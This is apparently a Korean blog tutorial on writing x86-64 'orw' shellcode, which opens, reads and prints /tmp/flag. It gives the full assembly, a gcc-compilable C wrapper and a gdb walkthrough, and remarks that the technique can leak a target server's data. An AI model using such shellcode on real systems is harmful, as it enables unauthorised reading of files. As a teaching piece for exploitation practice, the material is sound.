보안/시스템 해킹

[ 시스템 해킹 ] Exploit Tech: Shellcode ( orw )

haena02 2022. 7. 20. 03:39
반응형

 

해킹 분야에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라고 부른다.

익스플로잇은 ‘부당하게 이용하다’라는 뜻이 있는데, 상대 시스템에 침투하여 시스템을 악용하는 해킹과 어울린다.

1. 셸코드 ( Shellcode )

 

셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다.

일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용한다.


만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있습니다. 

어셈블리어는 기계어와 거의 일대일 대응되므로 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 된다.

셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다.

 

이는 아키텍처별로 자주 사용되는 셸코드를 모아서 공유하는 사이트이다.

http://shell-storm.org/shellcode/

 

shell-storm | Shellcodes Database

Shellcodes database for study cases Description Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. To learn modern explo

shell-storm.org

그러나 공유되는 셸코드는 범용적으로 작성된 것이기 때문에, 실행될 때의 메모리 상태 같은 시스템 환경을 완전히 반영하지는 못한다.

따라서 최적의 셸코드는 일반적으로 직접 작성해야 한다.

 

 

 

2. orw 셸코드

 

orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.

 

“/tmp/flag”를 읽는 셸코드를 작성해보겠다.

구현하려는 셸코드의 동작을 C언어 형식의 의사코드로 표현하면 다음과 같습니다.

 

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 


 

" /tmp/flag  "를 읽는 셸코드를 작성해보려한다.

그 셸코드의 동작을 C언어로 표현하면 아래와 같다.

har buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);  // 2-1
read(fd, buf, 0x30);   // 2-2
write(1, buf, 0x30);  // 2-3

 

2.1 int fd = open (“/tmp/flag”, O_RDONLY, NULL)

파일을 읽기위해서는 먼저 open 해줘야한다.

 

첫번째 인자( rdi )는 파일 이름의 주소이다. 

파일 이름을 메모리에 위치시키기 위해 스택에 /tmp/fla를 의미하는 0x616c662f706d742f67 를 push한다.

그리고 rdi가 이를 가르키도록 rsp를 rdi로 옮긴다.

 

두번째 인자( rsi )는 O_RDONLY는 0이므로, 0으로 설정한다. 

아래와 같이 사전에 이렇게 정의해 놓았으므로  O_RDONLY으로 설정한다.

#define        O_RDONLY        0        /* Open read-only.  */
#define        O_WRONLY        1        /* Open write-only.  */
#define        O_RDWR          2        /* Open read/write.  */

세번째 인자 ( rdx ) mode는 파일 읽을 때 큰 의미를 갖지 않으므로 0으로 설정한다.

 

마지막으로 rax를 open의 syscall 값인 2로 설정한다.

 

위에 설명을 어셈블리어로 바꿔주면 아래와 같이된다.

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

2.2  read (fd, buf, 0x30)

 

syscall의 리턴값은 rax에 저장된다.

따라서 2.1 open에서 리턴된 파일의 fd는 rax에 저장된다.

 

* 여기서 fd File Descriptor의 줄임말이고,

유닉스 계열의 OS에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근제어자이다.

프로세스마다 고유의 fd테이블을 가지고 있으며 0은 STDIN 1은 STDOUT, 2는 STDERR에 할당되어있다.

이들은 프로세스를 터미널과 연결해주며 이를 통해 키보드에서 프로세스로 입력하고 출력을 터미널로 볼 수 있다.

open 함수를 사용한다면 2번 이후의 번호를 차례대로 할당해준다. 

그럼 그 이후부터 그 fd로 파일에 접근할 수 있다.

 

첫번째 인자( rdi )는 fd를 설정해야하므로 리턴값이 있는 rax를 rdi에 대입해준다.

 

두번째 인자( rsi )는 파일에서 읽으느 데이터를 저장할 주소를 가르킨다.

\0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입합니다.

 

세번째 인자( rdx )는 읽어낼 데이터의 길이이므로 0x30으로 설정한다.

 

마지막으로 read를 수행해주기 위해 rax를 0으로 설정해준다.

 

mov rdi, rax      ; rdi = fd
mov rsi, rsp      
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

2.3  write (1, buf, 0x30)

첫번째 인자( rdi )는 출력을 해줘야하므로 fd를 1로 설정해준다.

두번째 인자( rsi )와  세번째 인자( rdx )는 사용한 값을 그대로 사용한다.

 

마지막으로 write를 수행해주기 위해 rax를 1으로 설정해준다.

 

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

3. orw 셸코드실습

 

윈도우는 PE, 리눅스는 ELF 형식을 실행 할 수 있다.

ELF(Executable and Linkable Format)는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있다.

 

아스키로 작성된 어셈블리 코드를 기계어로 치환하면 ELF형식이 아니므로 리눅스에서 실행될 수 없다.

여기서는 gcc컴파일을 통해 ELF로 변경해줄 수 있다.

 

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
    
void run_sh();

int main() { run_sh(); }

 

위 코드를 실행시키면 아래와 같이 저장된 문자열이 출력된다.

이를 이용하면 상대 서버의 자료를 유출해낼 수 있다 ㅎㅎ

 

디버깅을 통해 동장을 자세히 분석해보자.

 

orw를 gdb로 열고, run_sh()함수에 브레이크 포인트를 설정해주고 보면 아래와 같은 화면이 뜬다.

위 화면을 보면 우리가 작성한 셸코드에 rip가 위치하고 있는 것을 알 수 있다.

 

3.1 int fd = open (“/tmp/flag”, O_RDONLY, NULL)

open 함수가 실행되는 때까지 가보면 아래와 같이 인자 값 3개가 모두 잘 들어가고 실행됨을 알 수 있다.

실행 후에는 rax에 3으로 배정된 fd가 들어가 있다.

 

3.2  read (fd, buf, 0x30)

read 함수가 실행되는 곳을 가보면 아래와 같이 인자 값 3개가 모두 잘 들어가고 실행됨을 알 수 있다.

실행 후에는 이와같이 해당 주소에 0x30바이트만큼 읽어서 저장된 것을 알 수 있다.

 

3.3  write (1, buf, 0x30)

write 함수가 실행되는 곳을 가보면 아래와 같이 인자 값 3개가 모두 잘 들어가고 실행됨을 알 수 있다.

실행 후에는 아래처럼 출력된다.


 

하지만 원래 데이터 외에 알 수 없는 문자열도 나왔다.

이는 초기화 되지 않은 메모리 영역을 사용했기 때문이다.

 

각 함수는 스택을 할당해서 사용하고 종료될 때 해제한다.

하지만 여기서 해제는 초기화하는 것이 아니라 빈자리로 rsp와 rbp를 빈자리로 이동하는 것 뿐이다.

 

즉, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 된다. 우리는 이를 쓰레기 값(garbage data)이라고 표현하다.

 

보면 쓰레기 값이 어셈블리 코드의 주소와 비슷한 것을 알 수 있는데, 이런 중요한 값을 유출해내는 것을 메모리 릭이라고 부른다.

 

 

 

반응형